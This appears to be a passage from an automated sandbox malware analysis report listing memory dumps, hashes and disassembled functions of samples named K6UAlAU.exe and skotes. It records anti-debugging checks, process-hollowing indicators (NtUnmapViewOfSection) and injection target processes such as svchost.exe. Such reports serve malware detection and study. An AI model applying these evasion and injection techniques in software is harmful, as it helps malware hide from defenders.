Associated: 00000003.00000002.2118932204.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118961607.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118988988.0000000000D82000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119016799.0000000000D85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119040527.0000000000D87000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119064994.0000000000D88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119089716.0000000000D89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119115731.0000000000D91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119149268.0000000000D9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119178558.0000000000DB4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119203877.0000000000DB8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119237113.0000000000DC8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119264902.0000000000DC9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119290792.0000000000DCA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119318465.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119348593.0000000000DD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119375128.0000000000DDC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119401754.0000000000DE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119430927.0000000000DE9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119463978.0000000000DEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119484998.0000000000DEC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119510726.0000000000DED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119533622.0000000000DEE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119557923.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119582082.0000000000DF8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119614856.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119645221.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119679356.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119707392.0000000000E0D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119734803.0000000000E0E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119764312.0000000000E11000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119790006.0000000000E19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119814979.0000000000E1C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119814979.0000000000E3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119874703.0000000000E66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119901450.0000000000E67000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119924397.0000000000E68000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119950051.0000000000E6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119985628.0000000000E6F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2120012407.0000000000E7D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2120036223.0000000000E7E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b60000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 862c7933eecd11cf365c24746ee6b34d0893bc6121ad066642c4e139cb911ef3
Instruction ID: 43c39ea153c75b1287ae13863126ec17b099a5c7dfd1b1b0ece51ec8d33de0c1
Opcode Fuzzy Hash: 862c7933eecd11cf365c24746ee6b34d0893bc6121ad066642c4e139cb911ef3
Instruction Fuzzy Hash: 61A1D4B0A056059FDB10DF64C944B5ABBF8FF15710F1481ADE81AE7641EB39DA04CBD1

Function 00B9CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00B9CC66

Memory Dump Source

Source File: 00000003.00000002.2116756890.0000000000B61000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000003.00000002.2116606734.0000000000B60000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116756890.0000000000BC2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117273425.0000000000BC9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117385819.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117415425.0000000000BD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117442637.0000000000BD6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117599673.0000000000BD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118199461.0000000000D2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118336347.0000000000D2D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118437535.0000000000D46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118437535.0000000000D53000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118648254.0000000000D5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118725500.0000000000D5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118781695.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118813919.0000000000D68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118870732.0000000000D69000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118932204.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118961607.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118988988.0000000000D82000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119016799.0000000000D85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119040527.0000000000D87000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119064994.0000000000D88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119089716.0000000000D89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119115731.0000000000D91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119149268.0000000000D9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119178558.0000000000DB4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119203877.0000000000DB8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119237113.0000000000DC8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119264902.0000000000DC9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119290792.0000000000DCA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119318465.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119348593.0000000000DD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119375128.0000000000DDC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119401754.0000000000DE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119430927.0000000000DE9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119463978.0000000000DEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119484998.0000000000DEC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119510726.0000000000DED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119533622.0000000000DEE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119557923.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119582082.0000000000DF8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119614856.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119645221.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119679356.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119707392.0000000000E0D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119734803.0000000000E0E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119764312.0000000000E11000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119790006.0000000000E19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119814979.0000000000E1C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119814979.0000000000E3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119874703.0000000000E66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119901450.0000000000E67000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119924397.0000000000E68000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119950051.0000000000E6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119985628.0000000000E6F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2120012407.0000000000E7D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2120036223.0000000000E7E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b60000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 9a00aeca99c872d77bc7951e94df02459d9ed90ab15fd3d43570ee2d3325abd4
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: 21B1E1329046459FDF15CF28C881BAEBFE5EF56340F2481FAE855EB242D6349D42CBA4

Function 00B7BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00B7BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00B7BBE4
_xtime_get.LIBCPMT ref: 00B7BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00B7BC13

Memory Dump Source

Source File: 00000003.00000002.2116756890.0000000000B61000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000003.00000002.2116606734.0000000000B60000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116756890.0000000000BC2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117273425.0000000000BC9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117385819.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117415425.0000000000BD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117442637.0000000000BD6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117599673.0000000000BD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118199461.0000000000D2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118336347.0000000000D2D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118437535.0000000000D46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118437535.0000000000D53000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118648254.0000000000D5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118725500.0000000000D5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118781695.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118813919.0000000000D68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118870732.0000000000D69000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118932204.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118961607.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118988988.0000000000D82000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119016799.0000000000D85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119040527.0000000000D87000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119064994.0000000000D88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119089716.0000000000D89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119115731.0000000000D91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119149268.0000000000D9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119178558.0000000000DB4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119203877.0000000000DB8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119237113.0000000000DC8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119264902.0000000000DC9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119290792.0000000000DCA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119318465.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119348593.0000000000DD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119375128.0000000000DDC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119401754.0000000000DE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119430927.0000000000DE9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119463978.0000000000DEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119484998.0000000000DEC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119510726.0000000000DED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119533622.0000000000DEE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119557923.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119582082.0000000000DF8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119614856.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119645221.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119679356.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119707392.0000000000E0D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119734803.0000000000E0E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119764312.0000000000E11000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119790006.0000000000E19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119814979.0000000000E1C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119814979.0000000000E3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119874703.0000000000E66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119901450.0000000000E67000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119924397.0000000000E68000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119950051.0000000000E6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119985628.0000000000E6F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2120012407.0000000000E7D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2120036223.0000000000E7E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b60000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 812b161c114c000eddab323e9e0f4a9a5ab74a67002921e4e0b3984e5e73f658
Instruction ID: 2943cba01ab5cf552f70ebb8d0e5fbd34a7746ed86d43b53d280fe8aa305fc38
Opcode Fuzzy Hash: 812b161c114c000eddab323e9e0f4a9a5ab74a67002921e4e0b3984e5e73f658
Instruction Fuzzy Hash: B9211D71A00119AFDF01EFA4D881DBEBBB9EF08710F10809DF915BB251DB709D459BA0

Analysis Process: K6UAlAU.exePID: 6208, Parent PID: 5396COMMON

Execution Graph

Execution Coverage:	42.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	39.3%
Total number of Nodes:	486
Total number of Limit Nodes:	11

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007FF6AE2224D8 Relevance: 66.9, APIs: 34, Strings: 4, Instructions: 440
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FF6AE22253D

Strings

NtUnmapViewOfSection, xrefs: 00007FF6AE22283E
ntdll, xrefs: 00007FF6AE222829
.reloc, xrefs: 00007FF6AE222ADF
@, xrefs: 00007FF6AE2228B9

Memory Dump Source

Source File: 00000007.00000002.2769321382.00007FF6AE221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6AE220000, based on PE: true

Associated: 00000007.00000002.2769298606.00007FF6AE220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769459537.00007FF6AE225000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769475222.00007FF6AE228000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769490062.00007FF6AE229000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769515372.00007FF6AE22B000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff6ae220000_K6UAlAU.jbxd

Similarity

API ID: FileModuleName
String ID: .reloc$@$NtUnmapViewOfSection$ntdll
API String ID: 514040917-3001742581
Opcode ID: f5496b8d99a8c7caf0c0b55a9ab1f5a682755c9565fbd9300fe4f75c1206b34a
Instruction ID: 72fe871918bd3c37dd46511eba1c5ae67819c58874e0964165282e4de147a95b
Opcode Fuzzy Hash: f5496b8d99a8c7caf0c0b55a9ab1f5a682755c9565fbd9300fe4f75c1206b34a
Instruction Fuzzy Hash: BB32F83261DAC586E774DB1AE9547AAB3A1FBE8B84F404135EA8D83B58DF3DD4448B00

Function 00007FF6AE223468 Relevance: 47.4, APIs: 20, Strings: 7, Instructions: 143
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6AE2231B8: IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,00007FF6AE223479), ref: 00007FF6AE2231BC

ExitProcess.KERNEL32 ref: 00007FF6AE223482
ExitProcess.KERNEL32 ref: 00007FF6AE2234E0

Strings

worker_BAccdq, xrefs: 00007FF6AE22351C
audiodg.exe, xrefs: 00007FF6AE223558
svchost.exe, xrefs: 00007FF6AE2234A3
worker_RdDwvE, xrefs: 00007FF6AE2234CB
worker_kBEqZh, xrefs: 00007FF6AE22356D
msiexec.exe, xrefs: 00007FF6AE223507
worker_FDhvwc, xrefs: 00007FF6AE2235D9

Memory Dump Source

Source File: 00000007.00000002.2769321382.00007FF6AE221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6AE220000, based on PE: true

Associated: 00000007.00000002.2769298606.00007FF6AE220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769459537.00007FF6AE225000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769475222.00007FF6AE228000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769490062.00007FF6AE229000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769515372.00007FF6AE22B000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff6ae220000_K6UAlAU.jbxd

Similarity

API ID: ExitProcess$DebuggerPresent
String ID: audiodg.exe$msiexec.exe$svchost.exe$worker_BAccdq$worker_FDhvwc$worker_RdDwvE$worker_kBEqZh
API String ID: 613740775-1953711635
Opcode ID: 55df43c0f70c762c55ccc1daff7d11e1d1a694bfe0b15328a6787312b238f0f7
Instruction ID: bd93070f667c4d5eb2a913e4980163c790f9aa5e057bfb2aa4f506b20dabea5e
Opcode Fuzzy Hash: 55df43c0f70c762c55ccc1daff7d11e1d1a694bfe0b15328a6787312b238f0f7
Instruction Fuzzy Hash: C6612A21A3E68391FB68BB33EA1527A32A0BF74700F4441B5F54ECA5EDCE3DE5099650

Function 00007FF6AE2240F0 Relevance: 10.6, APIs: 7, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF6AE22348D), ref: 00007FF6AE2240F4
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF6AE22348D), ref: 00007FF6AE224107
GetTokenInformation.KERNELBASE ref: 00007FF6AE224138
GetTokenInformation.KERNELBASE ref: 00007FF6AE22416A
CloseHandle.KERNEL32 ref: 00007FF6AE224179

Memory Dump Source

Source File: 00000007.00000002.2769321382.00007FF6AE221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6AE220000, based on PE: true

Associated: 00000007.00000002.2769298606.00007FF6AE220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769459537.00007FF6AE225000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769475222.00007FF6AE228000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769490062.00007FF6AE229000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769515372.00007FF6AE22B000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff6ae220000_K6UAlAU.jbxd

Similarity

API ID: Token$InformationProcess$CloseCurrentHandleOpen
String ID:
API String ID: 434396405-0
Opcode ID: fd59080c66b321c73413e7d2de34e4bdf32d34c1a4fe8f44048adaaf0721e1f2
Instruction ID: b6c4d780371f8107cdf77ca9c052a76c774b2fe011b03523572a84b89f2cebc9
Opcode Fuzzy Hash: fd59080c66b321c73413e7d2de34e4bdf32d34c1a4fe8f44048adaaf0721e1f2
Instruction Fuzzy Hash: 65311932A2DA8186E750EB16E55072EB770FBE4B84F105135FA8E87B68DF7DD4418B00

Function 00007FF6AE2231B8 Relevance: 4.5, APIs: 3, Instructions: 23
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,00007FF6AE223479), ref: 00007FF6AE2231BC
GetCurrentProcess.KERNEL32 ref: 00007FF6AE2231D2
CheckRemoteDebuggerPresent.KERNELBASE ref: 00007FF6AE2231E0

Memory Dump Source

Source File: 00000007.00000002.2769321382.00007FF6AE221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6AE220000, based on PE: true

Associated: 00000007.00000002.2769298606.00007FF6AE220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769459537.00007FF6AE225000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769475222.00007FF6AE228000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769490062.00007FF6AE229000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769515372.00007FF6AE22B000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff6ae220000_K6UAlAU.jbxd

Similarity

API ID: DebuggerPresent$CheckCurrentProcessRemote
String ID:
API String ID: 3920101602-0
Opcode ID: 2760cc306fb648241171a8ad32ec7adba68cc7e55a00feed93d80baffd57ff2b
Instruction ID: 72d0f8c77e50231d05e3dd8fa467219a8374681beef0028f1492dbb3bae40c57
Opcode Fuzzy Hash: 2760cc306fb648241171a8ad32ec7adba68cc7e55a00feed93d80baffd57ff2b
Instruction Fuzzy Hash: B4F05E2191E283C1E7306B26960837A3BA0BB75708F1442F4F19D8659CCF3CD509DB11

Function 00007FF6AE2214EC Relevance: 3.0, APIs: 2, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00007FF6AE2214FF
GetProcAddress.KERNEL32 ref: 00007FF6AE221514

Memory Dump Source

Source File: 00000007.00000002.2769321382.00007FF6AE221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6AE220000, based on PE: true

Associated: 00000007.00000002.2769298606.00007FF6AE220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769459537.00007FF6AE225000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769475222.00007FF6AE228000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769490062.00007FF6AE229000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769515372.00007FF6AE22B000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff6ae220000_K6UAlAU.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID:
API String ID: 2574300362-0
Opcode ID: 3de293353023ce7eaf1012c377f6a933be5880676eb30226596abc0cfb8adc53
Instruction ID: 13d047316564c70f72f200f4e5a218b14907c85b39884e760812d724de71ba1d
Opcode Fuzzy Hash: 3de293353023ce7eaf1012c377f6a933be5880676eb30226596abc0cfb8adc53
Instruction Fuzzy Hash: 92E09276519F80C6C620AB15F84001AB7B4FBD8794F504125EBCD82B28CF3CC265CB04

Function 00007FF6AE2238D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 43
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6AE223750: GetWindowsDirectoryW.KERNEL32 ref: 00007FF6AE223790
Part of subcall function 00007FF6AE223750: GetVolumeInformationW.KERNELBASE ref: 00007FF6AE22380D
Part of subcall function 00007FF6AE223750: wsprintfW.USER32 ref: 00007FF6AE2238AE

SHGetFolderPathW.SHELL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6AE223AB5), ref: 00007FF6AE223919
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6AE223AB5), ref: 00007FF6AE22392E
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6AE223AB5), ref: 00007FF6AE223941
CreateDirectoryW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6AE223AB5), ref: 00007FF6AE223951
SetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6AE223AB5), ref: 00007FF6AE223964
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6AE223AB5), ref: 00007FF6AE223979
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6AE223AB5), ref: 00007FF6AE22398C
